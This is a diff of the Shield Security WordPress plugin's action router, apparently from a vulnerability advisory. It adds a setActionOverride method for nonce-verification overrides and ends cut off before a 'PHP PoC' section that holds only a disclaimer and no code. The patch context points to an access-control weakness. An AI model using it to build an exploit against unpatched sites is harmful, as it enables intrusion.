+++ b/wp-simple-firewall/src/lib/src/ActionRouter/ActionRoutingController.php
@@ -1,97 +1,97 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouter;
-
-use FernleafSystemsUtilitiesLogicExecOnce;
-use FernleafSystemsWordpressPluginShieldActionRouterActionsRenderPluginAdminPagesPageSecurityAdminRestricted;
-use FernleafSystemsWordpressPluginShieldModulesPluginControllerConsumer;
-use FernleafSystemsWordpressServicesServices;
-
-class ActionRoutingController {
-
-	use ExecOnce;
-	use PluginControllerConsumer;
-
-	public const ACTION_AJAX = 1;
-	public const ACTION_SHIELD = 2;
-	public const ACTION_REST = 3;
-
-	protected function run() {
-		( new CaptureRedirects() )->run();
-		( new CapturePluginAction() )->execute();
-		( new CaptureAjaxAction() )->execute();
-		( new CaptureRestApiAction() )->execute();
-	}
-
-	/**
-	 * @throws ExceptionsActionDoesNotExistException
-	 * @throws ExceptionsActionException
-	 * @throws ExceptionsActionTypeDoesNotExistException
-	 * @throws ExceptionsSecurityAdminRequiredException
-	 * @throws ExceptionsInvalidActionNonceException
-	 */
-	public function action( string $classOrSlug, array $data = [], int $type = self::ACTION_SHIELD ) :ActionResponse {
-
-		switch ( $type ) {
-			case self::ACTION_AJAX:
-				$adapter = new ResponseAdapterAjaxResponseAdapter();
-				break;
-			case self::ACTION_SHIELD:
-				$adapter = new ResponseAdapterShieldActionResponseAdapter();
-				break;
-			case self::ACTION_REST:
-				$adapter = new ResponseAdapterRestApiActionResponseAdapter();
-				break;
-			default:
-				throw new ExceptionsActionTypeDoesNotExistException( $type );
-		}
-
-		try {
-			$response = ( new ActionProcessor() )->processAction( $classOrSlug, $data );
-		}
-		catch ( ExceptionsSecurityAdminRequiredException $sare ) {
-			if ( Services::WpGeneral()->isAjax() ) {
-				throw $sare;
-			}
-			$response = $this->action( ActionsRenderPluginAdminPagesPageSecurityAdminRestricted::class, $data );
-		}
-		catch ( ExceptionsInvalidActionNonceException $iane ) {
-			if ( Services::WpGeneral()->isAjax() ) {
-				throw $iane;
-			}
-			wp_die( sprintf( 'Unexpected data. Please try again. Action Slug: "%s"; Data: "%s"', $classOrSlug, var_export( $data, true ) ) );
-		}
-
-		$adapter->adapt( $response );
-		return $response;
-	}
-
-	/**
-	 * This is an alias for calling the Render action directly
-	 */
-	public function render( string $classOrSlug, array $data = [] ) :string {
-		try {
-			$output = $this->action(
-				ActionsRender::class,
-				[
-					'render_action_slug' => $classOrSlug,
-					'render_action_data' => $data,
-				]
-			)->action_response_data[ 'render_output' ];
-		}
-		catch ( ExceptionsSecurityAdminRequiredException $e ) {
-//			error_log( 'render::SecurityAdminRequiredException: '.$classOrSlug );
-			$output = self::con()->action_router->render( PageSecurityAdminRestricted::class );
-		}
-		catch ( ExceptionsUserAuthRequiredException $uare ) {
-//			error_log( 'render::UserAuthRequiredException: '.$classOrSlug );
-			$output = '';
-		}
-		catch ( ExceptionsActionException $e ) {
-//			error_log( 'render::ActionException: '.$classOrSlug.' '.$e->getMessage() );
-			$output = $e->getMessage();
-		}
-
-		return $output;
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouter;
+
+use FernleafSystemsUtilitiesLogicExecOnce;
+use FernleafSystemsWordpressPluginShieldActionRouterActionsRenderPluginAdminPagesPageSecurityAdminRestricted;
+use FernleafSystemsWordpressPluginShieldModulesPluginControllerConsumer;
+use FernleafSystemsWordpressServicesServices;
+
+class ActionRoutingController {
+
+	use ExecOnce;
+	use PluginControllerConsumer;
+
+	public const ACTION_AJAX = 1;
+	public const ACTION_SHIELD = 2;
+	public const ACTION_REST = 3;
+
+	protected function run() {
+		( new CaptureRedirects() )->run();
+		( new CapturePluginAction() )->execute();
+		( new CaptureAjaxAction() )->execute();
+		( new CaptureRestApiAction() )->execute();
+	}
+
+	/**
+	 * @throws ExceptionsActionDoesNotExistException
+	 * @throws ExceptionsActionException
+	 * @throws ExceptionsActionTypeDoesNotExistException
+	 * @throws ExceptionsSecurityAdminRequiredException
+	 * @throws ExceptionsInvalidActionNonceException
+	 */
+	public function action( string $classOrSlug, array $data = [], int $type = self::ACTION_SHIELD ) :ActionResponse {
+
+		switch ( $type ) {
+			case self::ACTION_AJAX:
+				$adapter = new ResponseAdapterAjaxResponseAdapter();
+				break;
+			case self::ACTION_SHIELD:
+				$adapter = new ResponseAdapterShieldActionResponseAdapter();
+				break;
+			case self::ACTION_REST:
+				$adapter = new ResponseAdapterRestApiActionResponseAdapter();
+				break;
+			default:
+				throw new ExceptionsActionTypeDoesNotExistException( $type );
+		}
+
+		try {
+			$response = ( new ActionProcessor() )->processAction( $classOrSlug, $data );
+		}
+		catch ( ExceptionsSecurityAdminRequiredException $sare ) {
+			if ( Services::WpGeneral()->isAjax() ) {
+				throw $sare;
+			}
+			$response = $this->action( ActionsRenderPluginAdminPagesPageSecurityAdminRestricted::class, $data );
+		}
+		catch ( ExceptionsInvalidActionNonceException $iane ) {
+			if ( Services::WpGeneral()->isAjax() ) {
+				throw $iane;
+			}
+			wp_die( sprintf( 'Unexpected data. Please try again. Action Slug: "%s"; Data: "%s"', $classOrSlug, var_export( $data, true ) ) );
+		}
+
+		$adapter->adapt( $response );
+		return $response;
+	}
+
+	/**
+	 * This is an alias for calling the Render action directly
+	 */
+	public function render( string $classOrSlug, array $data = [] ) :string {
+		try {
+			$output = $this->action(
+				ActionsRender::class,
+				[
+					'render_action_slug' => $classOrSlug,
+					'render_action_data' => $data,
+				]
+			)->action_response_data[ 'render_output' ];
+		}
+		catch ( ExceptionsSecurityAdminRequiredException $e ) {
+//			error_log( 'render::SecurityAdminRequiredException: '.$classOrSlug );
+			$output = self::con()->action_router->render( PageSecurityAdminRestricted::class );
+		}
+		catch ( ExceptionsUserAuthRequiredException $uare ) {
+//			error_log( 'render::UserAuthRequiredException: '.$classOrSlug );
+			$output = '';
+		}
+		catch ( ExceptionsActionException $e ) {
+//			error_log( 'render::ActionException: '.$classOrSlug.' '.$e->getMessage() );
+			$output = $e->getMessage();
+		}
+
+		return $output;
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/ActivityLogTableAction.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/ActivityLogTableAction.php
@@ -1,55 +1,55 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
-
-use FernleafSystemsWordpressPluginShieldDBsReqLogsGetRequestMeta;
-use FernleafSystemsWordpressPluginShieldTablesDataTablesLoadDataActivityLogBuildActivityLogTableData;
-
-class ActivityLogTableAction extends BaseAction {
-
-	public const SLUG = 'logtable_action';
-
-	protected function exec() {
-		try {
-			$action = $this->action_data[ 'sub_action' ];
-			switch ( $action ) {
-				case 'retrieve_table_data':
-					$response = $this->retrieveTableData();
-					break;
-				case 'get_request_meta':
-					$response = $this->getRequestMeta();
-					break;
-				default:
-					throw new Exception( 'Not a supported Activity Log table sub_action: '.$action );
-			}
-		}
-		catch ( Exception $e ) {
-			$response = [
-				'success'     => false,
-				'page_reload' => true,
-				'message'     => $e->getMessage(),
-			];
-		}
-
-		$this->response()->action_response_data = $response;
-	}
-
-	private function retrieveTableData() :array {
-		$builder = new BuildActivityLogTableData();
-		$builder->table_data = $this->action_data[ 'table_data' ] ?? [];
-		return [
-			'success'        => true,
-			'datatable_data' => $builder->build(),
-		];
-	}
-
-	/**
-	 * @throws Exception
-	 */
-	private function getRequestMeta() :array {
-		return [
-			'success' => true,
-			'html'    => ( new GetRequestMeta() )->retrieve( $this->action_data[ 'rid' ] ?? '' )
-		];
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
+
+use FernleafSystemsWordpressPluginShieldDBsReqLogsGetRequestMeta;
+use FernleafSystemsWordpressPluginShieldTablesDataTablesLoadDataActivityLogBuildActivityLogTableData;
+
+class ActivityLogTableAction extends BaseAction {
+
+	public const SLUG = 'logtable_action';
+
+	protected function exec() {
+		try {
+			$action = $this->action_data[ 'sub_action' ];
+			switch ( $action ) {
+				case 'retrieve_table_data':
+					$response = $this->retrieveTableData();
+					break;
+				case 'get_request_meta':
+					$response = $this->getRequestMeta();
+					break;
+				default:
+					throw new Exception( 'Not a supported Activity Log table sub_action: '.$action );
+			}
+		}
+		catch ( Exception $e ) {
+			$response = [
+				'success'     => false,
+				'page_reload' => true,
+				'message'     => $e->getMessage(),
+			];
+		}
+
+		$this->response()->action_response_data = $response;
+	}
+
+	private function retrieveTableData() :array {
+		$builder = new BuildActivityLogTableData();
+		$builder->table_data = $this->action_data[ 'table_data' ] ?? [];
+		return [
+			'success'        => true,
+			'datatable_data' => $builder->build(),
+		];
+	}
+
+	/**
+	 * @throws Exception
+	 */
+	private function getRequestMeta() :array {
+		return [
+			'success' => true,
+			'html'    => ( new GetRequestMeta() )->retrieve( $this->action_data[ 'rid' ] ?? '' )
+		];
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/AjaxRender.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/AjaxRender.php
@@ -1,48 +1,48 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
-
-use FernleafSystemsWordpressPluginShieldActionRouterActionData;
-use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsAnyUserAuthRequired;
-use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsSecurityAdminNotRequired;
-
-class AjaxRender extends BaseAction {
-
-	use AnyUserAuthRequired;
-	use SecurityAdminNotRequired;
-
-	public const SLUG = 'ajax_render';
-
-	protected function exec() {
-		$response = self::con()->action_router->action(
-			$this->action_data[ 'render_slug' ],
-			$this->getParamsMinusAjax()
-		);
-		foreach ( [ 'success', 'message', 'error' ] as $item ) {
-			if ( isset( $response->action_response_data[ $item ] ) ) {
-				$response->{$item} = $response->action_response_data[ $item ];
-			}
-		}
-
-		$this->setResponse( $response );
-	}
-
-	protected function getParamsMinusAjax() :array {
-		return array_diff_key(
-			$this->action_data,
-			array_flip( [
-				ActionData::FIELD_ACTION,
-				ActionData::FIELD_EXECUTE,
-				ActionData::FIELD_NONCE,
-				ActionData::FIELD_WRAP_RESPONSE,
-				'render_slug'
-			] )
-		);
-	}
-
-	protected function getRequiredDataKeys() :array {
-		return [
-			'render_slug'
-		];
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
+
+use FernleafSystemsWordpressPluginShieldActionRouterActionData;
+use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsAnyUserAuthRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsSecurityAdminNotRequired;
+
+class AjaxRender extends BaseAction {
+
+	use AnyUserAuthRequired;
+	use SecurityAdminNotRequired;
+
+	public const SLUG = 'ajax_render';
+
+	protected function exec() {
+		$response = self::con()->action_router->action(
+			$this->action_data[ 'render_slug' ],
+			$this->getParamsMinusAjax()
+		);
+		foreach ( [ 'success', 'message', 'error' ] as $item ) {
+			if ( isset( $response->action_response_data[ $item ] ) ) {
+				$response->{$item} = $response->action_response_data[ $item ];
+			}
+		}
+
+		$this->setResponse( $response );
+	}
+
+	protected function getParamsMinusAjax() :array {
+		return array_diff_key(
+			$this->action_data,
+			array_flip( [
+				ActionData::FIELD_ACTION,
+				ActionData::FIELD_EXECUTE,
+				ActionData::FIELD_NONCE,
+				ActionData::FIELD_WRAP_RESPONSE,
+				'render_slug'
+			] )
+		);
+	}
+
+	protected function getRequiredDataKeys() :array {
+		return [
+			'render_slug'
+		];
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BaseAction.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BaseAction.php
@@ -1,161 +1,184 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
-
-use FernleafSystemsUtilitiesDataAdapterDynPropertiesClass;
-use FernleafSystemsWordpressPluginShieldActionRouterActionNonce;
-use FernleafSystemsWordpressPluginShieldActionRouterActionResponse;
-use FernleafSystemsWordpressPluginShieldActionRouterConstants;
-use FernleafSystemsWordpressPluginShieldActionRouterExceptions{
-	InvalidActionNonceException,
-	IpBlockedException,
-	SecurityAdminRequiredException,
-	UserAuthRequiredException
-};
-use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
-use FernleafSystemsWordpressPluginShieldModulesPluginControllerConsumer;
-use FernleafSystemsWordpressServicesServices;
-
-/**
- * @property array $action_data
- */
-abstract class BaseAction extends DynPropertiesClass {
-
-	use PluginControllerConsumer;
-
-	public const SLUG = '';
-
-	private ActionResponse $response;
-
-	public function __construct( array $data = [], ?ActionResponse $response = null ) {
-		$this->action_data = $data;
-		$this->response = $response instanceof ActionResponse ? $response : new ActionResponse();
-	}
-
-	public function __get( string $key ) {
-		$value = parent::__get( $key );
-
-		switch ( $key ) {
-			case 'action_data':
-				$value = array_merge( $this->getDefaults(), is_array( $value ) ? $value : [] );
-				break;
-			default:
-				break;
-		}
-
-		return $value;
-	}
-
-	/**
-	 * @throws ActionException
-	 * @throws InvalidActionNonceException
-	 * @throws IpBlockedException
-	 * @throws SecurityAdminRequiredException
-	 * @throws UserAuthRequiredException
-	 */
-	public function process() {
-		$this->checkAccess();
-		$this->checkAvailableData();
-		$this->preExec();
-		$this->exec();
-		$this->postExec();
-	}
-
-	/**
-	 * @throws InvalidActionNonceException
-	 * @throws IpBlockedException
-	 * @throws SecurityAdminRequiredException
-	 * @throws UserAuthRequiredException
-	 */
-	protected function checkAccess() {
-		$con = self::con();
-		$thisReq = $con->this_req;
-		if ( !$thisReq->request_bypasses_all_restrictions && $thisReq->is_ip_blocked && !$this->canBypassIpAddressBlock() ) {
-			throw new IpBlockedException( sprintf( 'IP Address blocked so cannot process action: %s', static::SLUG ) );
-		}
-
-		$WPU = Services::WpUsers();
-		if ( $this->isUserAuthRequired()
-			 && ( !$WPU->isUserLoggedIn() || !user_can( $WPU->getCurrentWpUser(), $this->getMinimumUserAuthCapability() ) ) ) {
-			throw new UserAuthRequiredException( sprintf( 'Must be logged-in to execute this action: %s', static::SLUG ) );
-		}
-
-		if ( !$thisReq->is_security_admin && $this->isSecurityAdminRequired() ) {
-			throw new SecurityAdminRequiredException( sprintf( 'Security admin required for action: %s', static::SLUG ) );
-		}
-
-		if ( $this->isNonceVerifyRequired() && !ActionNonce::VerifyFromRequest() ) {
-			throw new InvalidActionNonceException( 'Invalid Action Nonce Exception.' );
-		}
-	}
-
-	protected function preExec() {
-	}
-
-	protected function postExec() {
-	}
-
-	/**
-	 * @throws ActionException
-	 */
-	abstract protected function exec();
-
-	public function response() :ActionResponse {
-		$this->response->action_slug = static::SLUG;
-		$this->response->action_data = $this->action_data;
-		return $this->response;
-	}
-
-	public function setResponse( ActionResponse $response ) {
-		$this->response = $response;
-	}
-
-	protected function getDefaults() :array {
-		return [];
-	}
-
-	protected function getMinimumUserAuthCapability() :string {
-		return self::con()->cfg->properties[ 'base_permissions' ] ?? 'manage_options';
-	}
-
-	protected function canBypassIpAddressBlock() :bool {
-		return false;
-	}
-
-	protected function isNonceVerifyRequired() :bool {
-		return (bool)( $this->getActionOverrides()[ Constants::ACTION_OVERRIDE_IS_NONCE_VERIFY_REQUIRED ] ?? self::con()->this_req->wp_is_ajax );
-	}
-
-	protected function isUserAuthRequired() :bool {
-		return !empty( $this->getMinimumUserAuthCapability() );
-	}
-
-	protected function isSecurityAdminRequired() :bool {
-		return $this->getMinimumUserAuthCapability() === 'manage_options';
-	}
-
-	protected function getActionOverrides() :array {
-		return $this->action_data[ 'action_overrides' ] ?? [];
-	}
-
-	/**
-	 * @throws ActionException
-	 */
-	protected function checkAvailableData() {
-		$missing = array_diff( array_unique( $this->getRequiredDataKeys() ), array_keys( $this->action_data ) );
-		if ( !empty( $missing ) ) {
-			throw new ActionException( sprintf( 'Missing action (%s) data for the following keys: %s', static::SLUG, implode( ', ', $missing ) ) );
-		}
-	}
-
-	protected function getRequiredDataKeys() :array {
-		return [];
-	}
-
-	public static function NonceCfg() :array {
-		return [
-			'ip'  => false,
-			'ttl' => 12,
-		];
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
+
+use FernleafSystemsUtilitiesDataAdapterDynPropertiesClass;
+use FernleafSystemsWordpressPluginShieldActionRouterActionNonce;
+use FernleafSystemsWordpressPluginShieldActionRouterActionResponse;
+use FernleafSystemsWordpressPluginShieldActionRouterConstants;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptions{
+	InvalidActionNonceException,
+	IpBlockedException,
+	SecurityAdminRequiredException,
+	UserAuthRequiredException
+};
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
+use FernleafSystemsWordpressPluginShieldModulesPluginControllerConsumer;
+use FernleafSystemsWordpressServicesServices;
+
+/**
+ * @property array $action_data
+ */
+abstract class BaseAction extends DynPropertiesClass {
+
+	use PluginControllerConsumer;
+
+	public const SLUG = '';
+
+	private ActionResponse $response;
+
+	public function __construct( array $data = [], ?ActionResponse $response = null ) {
+		$this->action_data = $data;
+		$this->response = $response instanceof ActionResponse ? $response : new ActionResponse();
+	}
+
+	public function __get( string $key ) {
+		$value = parent::__get( $key );
+
+		switch ( $key ) {
+			case 'action_data':
+				$value = array_merge( $this->getDefaults(), is_array( $value ) ? $value : [] );
+				break;
+			default:
+				break;
+		}
+
+		return $value;
+	}
+
+	/**
+	 * @throws ActionException
+	 * @throws InvalidActionNonceException
+	 * @throws IpBlockedException
+	 * @throws SecurityAdminRequiredException
+	 * @throws UserAuthRequiredException
+	 */
+	public function process() {
+		$this->checkAccess();
+		$this->checkAvailableData();
+		$this->preExec();
+		$this->exec();
+		$this->postExec();
+	}
+
+	/**
+	 * @throws InvalidActionNonceException
+	 * @throws IpBlockedException
+	 * @throws SecurityAdminRequiredException
+	 * @throws UserAuthRequiredException
+	 */
+	protected function checkAccess() {
+		$con = self::con();
+		$thisReq = $con->this_req;
+		if ( !$thisReq->request_bypasses_all_restrictions && $thisReq->is_ip_blocked && !$this->canBypassIpAddressBlock() ) {
+			throw new IpBlockedException( sprintf( 'IP Address blocked so cannot process action: %s', static::SLUG ) );
+		}
+
+		$WPU = Services::WpUsers();
+		if ( $this->isUserAuthRequired()
+			 && ( !$WPU->isUserLoggedIn() || !user_can( $WPU->getCurrentWpUser(), $this->getMinimumUserAuthCapability() ) ) ) {
+			throw new UserAuthRequiredException( sprintf( 'Must be logged-in to execute this action: %s', static::SLUG ) );
+		}
+
+		if ( !$thisReq->is_security_admin && $this->isSecurityAdminRequired() ) {
+			throw new SecurityAdminRequiredException( sprintf( 'Security admin required for action: %s', static::SLUG ) );
+		}
+
+		if ( $this->isNonceVerifyRequired() && !ActionNonce::VerifyFromRequest() ) {
+			throw new InvalidActionNonceException( 'Invalid Action Nonce Exception.' );
+		}
+	}
+
+	protected function preExec() {
+	}
+
+	protected function postExec() {
+	}
+
+	/**
+	 * @throws ActionException
+	 */
+	abstract protected function exec();
+
+	public function response() :ActionResponse {
+		$this->response->action_slug = static::SLUG;
+		$this->response->action_data = $this->action_data;
+		return $this->response;
+	}
+
+	public function setResponse( ActionResponse $response ) {
+		$this->response = $response;
+	}
+
+	protected function getDefaults() :array {
+		return [];
+	}
+
+	protected function getMinimumUserAuthCapability() :string {
+		return self::con()->cfg->properties[ 'base_permissions' ] ?? 'manage_options';
+	}
+
+	protected function canBypassIpAddressBlock() :bool {
+		return false;
+	}
+
+	protected function isNonceVerifyRequired() :bool {
+		return (bool)( $this->getActionOverrides()[ Constants::ACTION_OVERRIDE_IS_NONCE_VERIFY_REQUIRED ] ?? self::con()->this_req->wp_is_ajax );
+	}
+
+	protected function isUserAuthRequired() :bool {
+		return !empty( $this->getMinimumUserAuthCapability() );
+	}
+
+	protected function isSecurityAdminRequired() :bool {
+		return $this->getMinimumUserAuthCapability() === 'manage_options';
+	}
+
+	protected function getActionOverrides() :array {
+		return $this->action_data[ 'action_overrides' ] ?? [];
+	}
+
+	/**
+	 * Set action override programmatically (for trusted integrations like MainWP)
+	 *
+	 * This method allows trusted integrations to set action overrides AFTER action creation,
+	 * ensuring security controls never come from user input paths.
+	 *
+	 * SECURITY NOTE: This method should ONLY be called in trusted contexts where:
+	 * - The caller has verified authentication (e.g., MainWP authenticated requests)
+	 * - The override is set programmatically, not from user input
+	 * - The action object has already been created via ActionProcessor::getAction()
+	 *
+	 * @param string $overrideKey Override key constant (e.g., Constants::ACTION_OVERRIDE_IS_NONCE_VERIFY_REQUIRED)
+	 * @param mixed  $value       Override value (typically boolean for is_nonce_verify_required)
+	 * @return self For method chaining
+	 */
+	public function setActionOverride( string $overrideKey, $value ) :self {
+		$this->action_data[ 'action_overrides' ] = array_merge(
+			is_array( $this->action_data[ 'action_overrides' ] ?? null ) ? $this->action_data[ 'action_overrides' ] : [],
+			[ $overrideKey => $value ]
+		);
+		return $this;
+	}
+
+	/**
+	 * @throws ActionException
+	 */
+	protected function checkAvailableData() {
+		$missing = array_diff( array_unique( $this->getRequiredDataKeys() ), array_keys( $this->action_data ) );
+		if ( !empty( $missing ) ) {
+			throw new ActionException( sprintf( 'Missing action (%s) data for the following keys: %s', static::SLUG, implode( ', ', $missing ) ) );
+		}
+	}
+
+	protected function getRequiredDataKeys() :array {
+		return [];
+	}
+
+	public static function NonceCfg() :array {
+		return [
+			'ip'  => false,
+			'ttl' => 12,
+		];
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BlockdownDisableFormSubmit.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BlockdownDisableFormSubmit.php
@@ -1,56 +1,56 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
-
-use FernleafSystemsWordpressPluginShieldModulesIPsLibIpRules;
-use FernleafSystemsWordpressPluginShieldModulesPluginLibSiteLockdownSiteBlockdownCfg;
-use FernleafSystemsWordpressServicesServices;
-
-class BlockdownDisableFormSubmit extends BaseAction {
-
-	public const SLUG = 'blockdown_disable_form_submit';
-
-	protected function exec() {
-		$con = self::con();
-		try {
-			$cfg = ( new SiteBlockdownCfg() )->applyFromArray( $con->comps->opts_lookup->getBlockdownCfg() );
-
-			if ( !$cfg->isLockdownActive() ) {
-				throw new Exception( 'Invalid request - lockdown is not active.' );
-			}
-
-			$cfg->disabled_at = Services::Request()->ts();
-			$cfg->exclusions = [];
-
-			if ( $cfg->whitelist_me ) {
-				$status = new IpRulesIpRuleStatus( $cfg->whitelist_me );
-				if ( $status->isBypass() ) {
-					$ipRules = $status->getRulesForBypass();
-					foreach ( $ipRules as $ipRule ) {
-						if ( !$ipRule->is_range && $ipRule->ip === $cfg->whitelist_me ) {
-							( new IpRulesDeleteRule() )->byRecord( $ipRule );
-						}
-					}
-				}
-			}
-			$cfg->whitelist_me = '';
-			$con->opts->optSet( 'blockdown_cfg', $cfg->getRawData() );
-			$con->fireEvent( 'site_blockdown_ended', [
-				'audit_params' => [ 'user_login' => Services::WpUsers()->getCurrentWpUsername() ]
-			] );
-
-			$msg = __( 'Site lock down has been lifted!', 'wp-simple-firewall' );
-			$success = true;
-		}
-		catch ( Exception $e ) {
-			$success = false;
-			$msg = $e->getMessage();
-		}
-
-		$this->response()->action_response_data = [
-			'success'     => $success,
-			'page_reload' => true,
-			'message'     => $msg,
-		];
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
+
+use FernleafSystemsWordpressPluginShieldModulesIPsLibIpRules;
+use FernleafSystemsWordpressPluginShieldModulesPluginLibSiteLockdownSiteBlockdownCfg;
+use FernleafSystemsWordpressServicesServices;
+
+class BlockdownDisableFormSubmit extends BaseAction {
+
+	public const SLUG = 'blockdown_disable_form_submit';
+
+	protected function exec() {
+		$con = self::con();
+		try {
+			$cfg = ( new SiteBlockdownCfg() )->applyFromArray( $con->comps->opts_lookup->getBlockdownCfg() );
+
+			if ( !$cfg->isLockdownActive() ) {
+				throw new Exception( 'Invalid request - lockdown is not active.' );
+			}
+
+			$cfg->disabled_at = Services::Request()->ts();
+			$cfg->exclusions = [];
+
+			if ( $cfg->whitelist_me ) {
+				$status = new IpRulesIpRuleStatus( $cfg->whitelist_me );
+				if ( $status->isBypass() ) {
+					$ipRules = $status->getRulesForBypass();
+					foreach ( $ipRules as $ipRule ) {
+						if ( !$ipRule->is_range && $ipRule->ip === $cfg->whitelist_me ) {
+							( new IpRulesDeleteRule() )->byRecord( $ipRule );
+						}
+					}
+				}
+			}
+			$cfg->whitelist_me = '';
+			$con->opts->optSet( 'blockdown_cfg', $cfg->getRawData() );
+			$con->fireEvent( 'site_blockdown_ended', [
+				'audit_params' => [ 'user_login' => Services::WpUsers()->getCurrentWpUsername() ]
+			] );
+
+			$msg = __( 'Site lock down has been lifted!', 'wp-simple-firewall' );
+			$success = true;
+		}
+		catch ( Exception $e ) {
+			$success = false;
+			$msg = $e->getMessage();
+		}
+
+		$this->response()->action_response_data = [
+			'success'     => $success,
+			'page_reload' => true,
+			'message'     => $msg,
+		];
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BlockdownFormSubmit.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BlockdownFormSubmit.php
@@ -1,78 +1,78 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
-
-use FernleafSystemsWordpressPluginShieldDBsIpRulesLoadIpRules;
-use FernleafSystemsWordpressPluginShieldModulesIPsLibIpRules;
-use FernleafSystemsWordpressPluginShieldModulesPluginLibSiteLockdownSiteBlockdownCfg;
-use FernleafSystemsWordpressServicesServices;
-
-class BlockdownFormSubmit extends BaseAction {
-
-	public const SLUG = 'blockdown_form_submit';
-
-	protected function exec() {
-		$con = self::con();
-
-		$form = $this->action_data[ 'form_data' ];
-		try {
-			if ( !$con->caps->canSiteBlockdown() ) {
-				throw new Exception( 'Please upgrade your ShieldPRO plan to make use of this feature.' );
-			}
-
-			if ( empty( $form ) || !is_array( $form ) ) {
-				throw new Exception( 'Please complete the form.' );
-			}
-
-			$cfg = ( new SiteBlockdownCfg() )->applyFromArray( $con->comps->opts_lookup->getBlockdownCfg() );
-			if ( $cfg->isLockdownActive() ) {
-				throw new Exception( 'Invalid request - lockdown is already active.' );
-			}
-
-			$confirm = $form[ 'confirm' ] ?? [];
-			if ( !empty( array_diff( [ 'consequences', 'authority', 'access', 'cache' ], $confirm ) ) ) {
-				throw new Exception( 'Please check all confirmation boxes.' );
-			}
-
-			$whitelistMe = ( $form[ 'whitelist_me' ] ?? 'N' ) === 'Y';
-			$alreadyWhitelisted = ( new IpRulesIpRuleStatus( $con->this_req->ip ) )->isBypass();
-			if ( $whitelistMe && !$alreadyWhitelisted ) {
-				( new IpRulesAddRule() )
-					->setIP( $con->this_req->ip )
-					->toManualWhitelist( 'Whitelist for Site Lockdown' );
-			}
-
-			$ruleLoader = new LoadIpRules();
-			$ruleLoader->wheres = [
-				sprintf( "`ir`.`type`='%s'", $con->db_con->ip_rules::T_MANUAL_BYPASS )
-			];
-			if ( $ruleLoader->countAll() === 0 ) {
-				throw new Exception( 'There are no whitelisted IPs for exclusion.' );
-			}
-
-			$cfg->activated_at = Services::Request()->ts();
-			$cfg->activated_by = Services::WpUsers()->getCurrentWpUsername();
-			$cfg->exclusions = $form[ 'exclusions' ] ?? [];
-			$cfg->whitelist_me = ( $whitelistMe && !$alreadyWhitelisted ) ? $con->this_req->ip : '';
-
-			$con->opts->optSet( 'blockdown_cfg', $cfg->getRawData() );
-
-			self::con()->fireEvent( 'site_blockdown_started', [
-				'audit_params' => [ 'user_login' => Services::WpUsers()->getCurrentWpUsername() ]
-			] );
-
-			$msg = __( 'Site has been locked down!', 'wp-simple-firewall' );
-			$success = true;
-		}
-		catch ( Exception $e ) {
-			$success = false;
-			$msg = $e->getMessage();
-		}
-
-		$this->response()->action_response_data = [
-			'success'     => $success,
-			'page_reload' => $success,
-			'message'     => $msg,
-		];
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
+
+use FernleafSystemsWordpressPluginShieldDBsIpRulesLoadIpRules;
+use FernleafSystemsWordpressPluginShieldModulesIPsLibIpRules;
+use FernleafSystemsWordpressPluginShieldModulesPluginLibSiteLockdownSiteBlockdownCfg;
+use FernleafSystemsWordpressServicesServices;
+
+class BlockdownFormSubmit extends BaseAction {
+
+	public const SLUG = 'blockdown_form_submit';
+
+	protected function exec() {
+		$con = self::con();
+
+		$form = $this->action_data[ 'form_data' ];
+		try {
+			if ( !$con->caps->canSiteBlockdown() ) {
+				throw new Exception( 'Please upgrade your ShieldPRO plan to make use of this feature.' );
+			}
+
+			if ( empty( $form ) || !is_array( $form ) ) {
+				throw new Exception( 'Please complete the form.' );
+			}
+
+			$cfg = ( new SiteBlockdownCfg() )->applyFromArray( $con->comps->opts_lookup->getBlockdownCfg() );
+			if ( $cfg->isLockdownActive() ) {
+				throw new Exception( 'Invalid reques

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
